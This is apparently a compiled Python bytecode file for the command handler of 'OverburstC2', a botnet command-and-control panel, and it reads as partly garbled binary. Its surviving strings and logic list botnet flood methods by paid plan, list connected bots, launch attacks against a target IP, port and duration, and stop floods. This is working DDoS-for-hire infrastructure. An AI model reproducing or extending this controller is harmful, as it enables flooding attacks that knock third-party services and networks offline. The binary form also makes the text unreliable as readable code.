
    4+j                     x    S SK Jr  S SKJrJrJr  S SKJrJr  S SK	J
r
  S SKJrJrJr  S SKJrJr   " S S5      rg	)
    )Fore)get_userupdate_user_attack_countis_method_allowed)botnetMethodsNameisBotnetMethod)handle_admin_commands)colorize_text_gradient
ANSI_CLEARCOLORS)sanitize_logsanitize_commandc                   P    \ rS rSrS rS rS rS rS rS r	S r
S	 rS
 rS rSrg)CommandHandler   c                     Xl         g )Nserver)selfr   s     -/tmp/OverburstC2/src/utils/command_handler.py__init__CommandHandler.__init__	   s        c                    [         R                  n[         R                  n[         R                  n[         R                  n[         R
                  n	[         R                  n
[        U5      U R                  R                  :  a  U R                  R                  X S35        gUR                  S5      nUS   R                  5       nU R                  R                  U[        S5        U R                  R                  R                  S5       H  nU R                  R                  X5        M      UR                  S5      (       a"  [!        XXR                  R                  U5        gUS;   a  U R#                  XU5        gUS	:X  a  U R%                  XXiU5        gUS
;   a  U R'                  U5        gUS:X  a  U R)                  XXV5        gUS;   a  U R+                  XU5        gUS;   a  U R-                  X5        gUS;   a  U R/                  X5        g[1        U5      (       a  U R3                  XXXVXU5	      $ U R                  R                  X U S35        g)NzCommand too long
T r   F
!)HELP?COMMANDSBOTNET)BOTSZOMBIESSTOP)OWNERCREDITS)CLEARCLS)LOGOUTQUITEXITBYEz not found!
)r   LIGHTBLACK_EXLIGHTWHITE_EXLIGHTGREEN_EXLIGHTRED_EXLIGHTYELLOW_EXLIGHTBLUE_EXlenr   max_data_lensendsplitupperr   banner
startswithr	   _handle_help_handle_botnet_handle_bots_handle_stop_handle_owner_handle_clear_handle_logoutr   _handle_attack)r   clientusernamesession_tokendatagraywhitegreenredyellowblueargscommandlines                 r   handleCommandHandler.handle   s"   !!""""$$  t9t{{///KKVu,>%?@zz#q'--/U3KK&&,,T2DKKV* 3 c""!'9I9I8T//fE24 1  %E. + ++f%( % f<"  ,,vT2  ((v0  99-G$$&&vU[dghhKKVuWI]%CDr   c                    U R                   R                  U[        S5      5        U R                   R                  X SU S35        U R                   R                  X SU S35        U R                   R                  X SU S35        U R                   R                  X SU S	35        U R                   R                  X S
U S35        U R                   R                  X SU S35        U R                   R                  X SU S35        g )Nz Commands:           Description:r   z&                Shows list of commandsr!   z1              Shows list of botnet attack methodsr"   z'                Shows all conected botsr$   z0                Stop all your floods in progressr'   z                Clears the screenr%   z&               Shows owner informationr)   z*              Disconnects from C&C server
)r   r5   r
   )r   rB   rF   rG   s       r   r:   CommandHandler._handle_help@   s    !78Z![\7$tf4Z![\7&6g!hi7$tf4[!\]7$tf4d!ef7%v5U!VW7%v5[!\]7&6a!bcr   c                    [        S5      nU R                  R                  U[        S5      5        [	        U5      nUR                  5        H  u  pUR                  S5      (       a  USS  OUn
[        X*5      nU(       a&  U R                  R                  X U SU U	 35        MZ  U R                  R                  X U SU U	 SU S35        M     U R                  R                  US5        g )NALLzBotnet Methods:.   r   z[Upgrade Required] )r   r   r5   r
   r   itemsr9   r   )r   rB   rC   rG   rJ   rI   botnetMethods	user_datamethoddescmethod_namemethod_availables               r   r;   CommandHandler._handle_botnetJ   s    )%0!78I!JKX&	)//1LF(.(9(9#(>(>&*FK0G  76(!F8D6)JK  76(!F8D63%Oa)bc 2 	$r   c                 F   U R                   R                  U[        S5        U R                   R                  R	                  S5       H  nU R                   R                  X5        M      U R                   R
                  R                  XR                   R                  5        g )NFr   )r   r5   r   r8   r6   bot_managerlist_architectures)r   rB   rN   s      r   r<   CommandHandler._handle_botsZ   sk    U3KK&&,,T2DKKV* 3226;;;K;KLr   c                 b   SS K nU R                  R                  R                  U5      (       a^  U R                  R	                  SU5        U R                  R                  USU SU S35        UR                  S[        U5       S35        g U R                  R                  USU SU S35        g )	Nr   r$   r   > z-Your flooding has been successfully stopped.
z
Ataque de z parado manualmentez You have no floods in progress.
)loggingr   attack_managerstop	broadcastr5   infor   )r   rB   rC   rF   rG   rf   s         r   r=   CommandHandler._handle_stop`   s    ;;%%**844KK!!&(3KKVr$r%8f%ghLL:l8&<%==PQRKKVr$r%8Y%Z[r   c           
      `   U R                   R                  USU SU S[        S    S35        U R                   R                  X SU S[        S    S35        U R                   R                  X SU S[        S    S	35        U R                   R                  X S
U S[        S    S35        g )Nr   	Instagram: Q
cirqueiraxTelegram
CirqueirazDiscord	cirqueiraGitHubzCirqueiraDev
)r   r5   r   )r   rB   rK   rF   s       r   r>   CommandHandler._handle_owneri   s    2dV9TF"VC[M!TU6$r&+j!QR6bY!OP6vRs}N!STr   c                     U R                   R                  U[        S5        [        U5      nU R                   R	                  XU5        g )NF)r   r5   r   r   return_banner)r   rB   rC   rZ   s       r   r?   CommandHandler._handle_clearo   s6    U3X&	!!&I>r   c                 n    U R                   R                  USU S35        SS KnUR                  S5        g )Nr   zAmerica ya!
r   rV   )r   r5   timesleep)r   rB   rK   r{   s       r   r@   CommandHandler._handle_logoutt   s-    2dV=!9:

1r   c
           	      T   UR                  S5      (       a  USS  OUn
[        X*5      (       d  U R                  R                  X S35        g[	        U5      S:w  a#  U R                  R                  USU U S35        gUS   nUS   nUS	   nU R                  R
                  R                  XXU5      (       d  gS
R                  / SPU PSPU PSPU PSPU P[        U5      R                  5        PU PSPU PSPU PSPU PSPU PU PU PSPU PSPU PSPU PSPU PU PU PSPU PSPU PSPU PSPU PU PU PSP5      nUR                  S5       H  nU R                  R                  X5        M      [        U5      nU R                  R                  U SU SU SU 3U5        U R                  R                  R                  5       nU R                  R                  X SU S35        U R                  R
                  R                  X+XU5        [!        U5        g)NrU   rV   z>This method is not available in your plan. Upgrade to use it.
T   zUsage: z [IP] [PORT] [TIME]
      rW   r   re   z	Method   rn   z	Target   z	Port     z	Duration z	
        r   z Attack sent to z bots
)r9   r   r   r5   r3   rg   
can_launchjoinr   stripr6   r   ri   ra   	get_countlaunchr   )r   rB   rC   rM   rL   rF   rG   rJ   rH   rI   r]   ipportsecsattack_inforN   sanitized_cmd
bots_counts                     r   rA   CommandHandler._handle_attacky   s5   %,%7%7%<%<gabk' 77KKVu,k%lmt9>KKVwtfWI=R%ST!WAwAw{{))44RtvVV   	 !'):7)C)I)I)K(LMQFS	 !&(*t,062  	 
   ! "' )-v /3V4 	 		 
	 	 	 !	 "'	 )-v	 /3V	4		  %%d+DKKV* , )1qAdV1TFCXN[[,,668
7*::,g!NO""))(GL *r   r   N)__name__
__module____qualname____firstlineno__r   rO   r:   r;   r<   r=   r>   r?   r@   rA   __static_attributes__ r   r   r   r      s9    2hd% M\U?

#r   r   N)coloramar   src.database.databaser   r   r   src.methods.methodsr   r   src.commands.commandsr	   src.utils.uir
   r   r   src.utils.securityr   r   r   r   r   r   <module>r      s)     W W A 7 C C =T Tr   